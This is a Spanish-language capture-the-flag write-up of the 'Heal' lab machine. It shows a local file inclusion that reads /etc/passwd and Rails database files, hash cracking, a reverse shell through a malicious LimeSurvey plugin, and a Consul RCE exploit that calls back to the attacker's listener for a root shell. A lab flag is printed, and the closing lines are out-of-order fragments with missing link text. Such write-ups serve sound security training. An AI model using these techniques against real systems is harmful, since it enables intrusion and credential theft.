Realizaremos un reconocimiento con Nmap para ver los puertos que están expuestos en la máquina Heal. Este resultado lo almacenaremos en un archivo llamado allPorts.
❯ nmap -p- --open -sS --min-rate 1000 -Pn -n 10.10.11.46 -oG allPorts
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-24 21:52 CET
Nmap scan report for 10.10.11.46
Host is up (0.24s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 17.42 seconds
❯ extractPorts allPorts
[*] Extracting information...
[*] IP Address: 10.10.11.46
[*] Open ports: 22,80
[*] Ports copied to clipboard
Lanzaremos scripts de reconocimiento sobre los puertos encontrados y lo exportaremos en formato oN y oX para posteriormente trabajar con ellos. Verificamos que al parecer se trata de una máquina Ubuntu que dispone de una página de Nginx y el servicio SSH.
❯ nmap -sCV -p22,80 10.10.11.46 -A -oN targeted -oX targetedXML
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-24 21:55 CET
Nmap scan report for 10.10.11.46
Host is up (0.065s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 68:af:80:86:6e:61:7e:bf:0b:ea:10:52:d7:7a:94:3d (ECDSA)
|_ 256 52:f4:8d:f1:c7:85:b6:6f:c6:5f:b2:db:a6:17:68:ae (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://heal.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19, Linux 5.0 - 5.14
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 22/tcp)
HOP RTT ADDRESS
1 96.32 ms 10.10.16.1
2 44.63 ms 10.10.11.46
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 38.11 seconds
Procederemos a transformar el archivo generado targetedXML para transformar el XML en un archivo HTML para posteriormente montar un servidor web y visualizarlo.
❯ xsltproc targetedXML > index.html
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Añadiremos en nuestro archivo /etc/hosts la entrada correspondiente que nos muestra Nmap que nos redirigrá el sitio web al acceder.
Logramos acceder con nuestro usuario recién creado, entra las opciones que se nos muestran, ingresaremos a ellas para verificar que más opciones nos ofrece el sitio web. En este caso probaremos de acceder a Survey.
Añadiremos este nuevo subdomino ennuestro archivo /etc/hosts.
Al acceder a la opción que nos daba el botón, nos encontramos con la siguiente página, la cual investigando no hay ningún tipo de información, simplemente un cuestionario a rellenar.
Probaremos de acceder directamente a http://take-survey.heal.htb y verificamos que hemos logrado encontrar más información. Se nos indica que el usuario Administrator del sitio web es ralph@heal.htb.
Al acceder a http://api.heal.htb, se nos muestra la siguiente página web en la cual se nos indica que la página web utiliza Rails 7.1.4. Veremos si más adelante esta información es útil o no.
Initial Foothold
Local File Inclusion (LFI) on Website parameter
Volveremos a la página de http://heal.htb/resume, en la cual nos permitía rellenar nuestro perfil profesional. Verificamos que nos proporcionan un botón de Export as PDF. Interceptaremos la solicitud con BurpSuite para verificar como es esta solicitud que se envía al servidor.
Una vez tengamos la solicitud interceptada, realizaremos varias veces el redireccionamiento de la solicitud Forward, nos encontramos con la siguiente soliticud, la cual hace una petición por método GET sobre un directorio llamado /downloads y a través de una variable filename llama al archivo PDF que hemos generado.
Enviaremos esta solicitud al modo de Repeater.
Modificaremos la solicitud que se envía al servidor, trataremos de listar el contenido del archivo /etc/passwd a través de un Local File Inclusion (LFI).
Verificamos que el sitio web es vulnerable a LFI y hemos podido listar el contenido del /etc/passwd correctamente.
Revisando el contenido del /etc/passwd, comprobamos que existen solamente dos usuarios sin privilegios que dispoonen de una bash.
Por lo tanto, podemos pensar si podemos listar algún archivo de configuración de Rails para intentar encontrar información, configuraciones, credenciales, etc.
Nos encontramos con el siguiente blog en el cual nos explican donde se almacenan estos archivos.
Probaremos de listar el contenido del archivo /config/database.yml y en el resultado por parte del servidor, logramos visualizar el contenido del archivo. En este archivo se nos indica donde se almacena la base de datos de Rails.
Trataremos de visualizar el contenido del archivo de la base de datos que utiliza la aplicación. En este caso, logramos visualizar el contenido en el cual se nos muestra al usuario ralph y su contraseña hasheada.
Recordemos que el usuario ralph@heal.htb es el usuario Administrator del sitio web.
Cracking Hashes
Verificarems el tipo de hash del cual se trata y a través de hashcat probaremos de crackear el hash. Comprobamos que logramos visualizar la contraseña en texto plano.
Verificamos que hemos logrado obtener el acceso correctamente a LimeSurvey.
LimeSurvey (anteriormente PHPSurveyor) es una aplicación de software libre para la realización de encuestas en línea1, escrita en PHP y que utiliza bases de datos MySQL, PostgreSQL o MSSQL. Esta utilidad brinda la posibilidad a usuarios sin conocimientos de programación el desarrollo, publicación y recolección de respuestas de sus encuestas.
Realizando una enumeración de la página web, nos encontramos que se trata de LimeSurvey Community Edition Version 6.6.4, lo cual podremos intentar buscar alguna vulnerabilidad conocida.
Realizando una búsqueda por Internet, nos encontramos con el siguiente CVE-2021-44967.
Existe una vulnerabilidad de ejecución remota de código (RCE) en LimeSurvey 5.2.4 a través de la función de carga e instalación de complementos, que podría permitir que un usuario malintencionado remoto cargue un archivo de código PHP arbitrario.
Por otro lado, nos encontramos con el siguiente repositorio para expotar esta vulnerabilidad.
Nos descargaremos el repositorio de GitHube del exploit.
Editaremos el archivo config.xml para especificar la versión 6.0, sino, no podremos explotar esta vulnerabilidad.
❯ cat config.xml
<?xml version="1.0" encoding="UTF-8"?>
<config>
<metadata>
<name>Y1LD1R1M</name>
<type>plugin</type>
<creationDate>2020-03-20</creationDate>
<lastUpdate>2020-03-31</lastUpdate>
<author>Y1LD1R1M</author>
<authorUrl>https://github.com/Y1LD1R1M-1337</authorUrl>
<supportUrl>https://github.com/Y1LD1R1M-1337</supportUrl>
<version>5.0</version>
<license>GNU General Public License version 2 or later</license>
<description>
<![CDATA[Author : Y1LD1R1M]]></description>
</metadata>
<compatibility>
<version>3.0</version>
<version>4.0</version>
<version>5.0</version>
<version>6.0</version>
</compatibility>
<updaters disabled="disabled"></updaters>
</config>
Editaremos el archivo php-rev.php y estableceremos nuestra dirección IP de atacante y el puerto desde donde estaremos en escucha.
Comrpimiremos estos nuevos archivos en un archivo llamado por ejemplo, Gzzcoo.zip.
❯ zip Gzzcoo.zip config.xml php-rev.php
adding: config.xml (deflated 57%)
adding: php-rev.php (deflated 61%)
❯ ls -l Gzzcoo.zip
.rw-rw-r-- kali kali 1.6 KB Fri Jan 24 22:57:27 2025 Gzzcoo.zip
Desde el panel de LimeSurvey, accederemos al apartado de Configuration < Plugins.
Dentro de la sección de Plugins, ingresaremos a la opción de Upload & install.
Subiremos nuestro archivo Gzzcoo.zip para importarlo en el sitio web.
Instalaremos el nuevo plugin en LimeSurvey.
Por otro lado, nos pondremos en escucha por el puerto especificado.
❯ nc -nlvp 443
listening on [any] 443 ...
En el panel de Plugins, deberemos de activar el plugin subido.
Confirmaremos la activación del plugin recién subido.
Nos encontramos como usuario www-data, el cual normalmente no dispone de ningún privilegio.
❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.11.46] 49700
Linux heal 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
22:15:53 up 1:24, 0 users, load average: 0.09, 0.06, 0.04
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$ script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@heal:/$
Initial Access
Information Leakage
Revisando los diferentes directorios, nos encontramos en el archivo index.php que especifican que el archivo de configuración se encuentra en application/config/config.php.
www-data@heal:~/limesurvey/admin$ ls -l
total 8
-rwxr-x--- 1 www-data www-data 33 Sep 27 10:27 admin.php
-rwxr-x--- 1 www-data www-data 1103 Sep 27 10:27 index.php
www-data@heal:~/limesurvey/admin$ cat index.php
<?php
/*
* LimeSurvey
* Copyright (C) 2007-2011 The LimeSurvey Project Team / Carsten Schmitz
* All rights reserved.
* License: GNU/GPL License v2 or later, see LICENSE.php
* LimeSurvey is free software. This version may have been modified pursuant
* to the GNU General Public License, and as distributed it includes or
* is derivative of works licensed under the GNU General Public License or
* other free or open source software licenses.
* See COPYRIGHT.php for copyright notices and details.
*/
$config_folder = dirname(__FILE__) . '/../application/config/';
$config_file = $config_folder . 'config.php';
if (!file_exists($config_file)) {
$config_file = $config_folder . 'config-sample-mysql.php';
}
define('BASEPATH', dirname(__FILE__) . '/..'); // To prevent direct access not allowed
$config = require($config_file);
$urlStyle = $config['components']['urlManager']['urlFormat'];
// Simple redirect to still have the old /admin URL
if ($urlStyle == 'path') {
header('Location: ../index.php/admin');
} else {
// For IIS use get style
header('Location: ../index.php?r=admin');
}
Listaremos el contenido del archivo, y verificamos que aparecen credenciales de acceso a una base de datos de PostgreSQL.
Después de varios intentos intentando acceder al PostgreSQL, probamos de verificar si estas credenciales se reutilizaban para uno de los usuarios que disponían de una bash.
Verificamos que hemos podido acceder como usuario ron y obtener la flag user.txt.
www-data@heal:/$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
ralph:x:1000:1000:ralph:/home/ralph:/bin/bash
postgres:x:116:123:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
ron:x:1001:1001:,,,:/home/ron:/bin/bash
www-data@heal:/$ su ralph
Password:
su: Authentication failure
www-data@heal:/$ su ron
Password:
ron@heal:/$ cat /home/ron/user.txt
5a4c50cd03979eab6aa0c197792d4ec3
Privilege Escalation
Checking Internal Ports
Revisarmeos los puertos internos que se encuentran abiertos en el equipo, vemos un listado de puertos inusuales.
ron@heal:~$ netstat -ano
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State Timer
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 127.0.0.1:5432 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 127.0.0.1:8300 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 127.0.0.1:8301 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 127.0.0.1:8302 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 127.0.0.1:8500 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 127.0.0.1:8503 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 127.0.0.1:8600 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 127.0.0.1:3000 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 127.0.0.1:3001 0.0.0.0:* LISTEN off (0.00/0/0)
SSH Port Forwarding
Probaremos de realizar SSH Port Forwarding sobre todos los puertos internos encontrados hacía nuestro equipo local de atacante, para verificar que hay detás de ellos.
Verificaremos que todos los puertos se encuentran abiertos en nuestro equipo lccal.
❯ nmap -p- localhost
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-24 23:36 CET
Nmap scan report for localhost (127.0.0.1)
Host is up (0.0000040s latency).
Other addresses for localhost (not scanned): ::1
Not shown: 65524 closed tcp ports (reset)
PORT STATE SERVICE
3000/tcp open ppp
3001/tcp open nessus
5423/tcp open virtualuser
8080/tcp open http-proxy
8300/tcp open tmi
8301/tcp open amberon
8302/tcp open unknown
8500/tcp open fmtp
8503/tcp open lsp-self-ping
8600/tcp open asterix
42583/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 1.15 seconds
Probando de acceder a http://127.0.0.1:8500, logramos acceder a un sitio web de Hashicorp Consul.
HashiCorp Consul es una solución de redes de servicios que permite a los equipos gestionar la conectividad de red segura entre servicios y entre entornos locales y multicloud y tiempos de ejecución. Consul ofrece detección de servicios, malla de servicios, gestión de tráfico y actualizaciones automáticas para dispositivos de infraestructura de red. Puede utilizar estas funciones de forma individual o en conjunto en una única implementación de Consul.
Hashicorp Consul v1.0 - Remote Code Execution (RCE)
Buscando vulnerabilidades sobre la aplicación, nos encontramos con el siguiente exploit para obtener un RCE.
Nos ponemos en escucha por un puerto para recibir la Reverse Shell.
❯ nc -nlvp 443
listening on [any] 443 ...
Ejecutamos el exploit sobre nuestro localhost en el puerto 8500 (debido que hemos realizado anteriormente el Port Forwarding) y especificamos nuestra dirección IP y el puerto donde vamos a estar en escucha.
❯ python3 exploit.py 127.0.0.1 8500 10.10.16.5 443 0
[+] Request sent successfully, check your listener
Volviendo a la terminal, nos encontramos que hemos logrado obtener acceso y en este caso somos el usuario root. Verificamos la flag de root.txt.
❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.11.46] 35072
bash: cannot set terminal process group (12578): Inappropriate ioctl for device
bash: no job control in this shell
root@heal:/# cat /root/root.txt
cat /root/root.txt
5bcfe05b5dd**************
A través de la herramienta de , la utilizaremos para extraer los puertos del archivo que nos generó el primer escaneo a través de Nmap. Esta herramienta nos copiará en la clipboard los puertos encontrados.
Accederemos a y verificaremos el resultado en un formato más cómodo para su análisis.
Accederemos a y verificaremos que existe un panel de inicio de sesión en el cual podemos crear un resumen profesesional en cuestión de minutos. Probaremos de registrarnos en el sitio web.
Revisamos que nos lleva a , parece ser una página en la cual dándole a Take the Survey nos redirige a una página de un subdominio take-survey.heal.htb para realizar un cuestionario.
Realizaremos un escaneo de directorios y archivos sobre la página y nos encontramos con el siguiente resultado.
Si bien recordamos, nos encontramos en la página de que la página web utilizaba Rails 7.1.4.
Volveremos al panel de Administración de LimeSurvey a través de y probaremos de acceder con el usuario ralphy sus credenciales encontradas.
Accederemos a y volviendo a la terminal donde estábamos en escucha, verificamos que logramos acceder al equipo correctamente.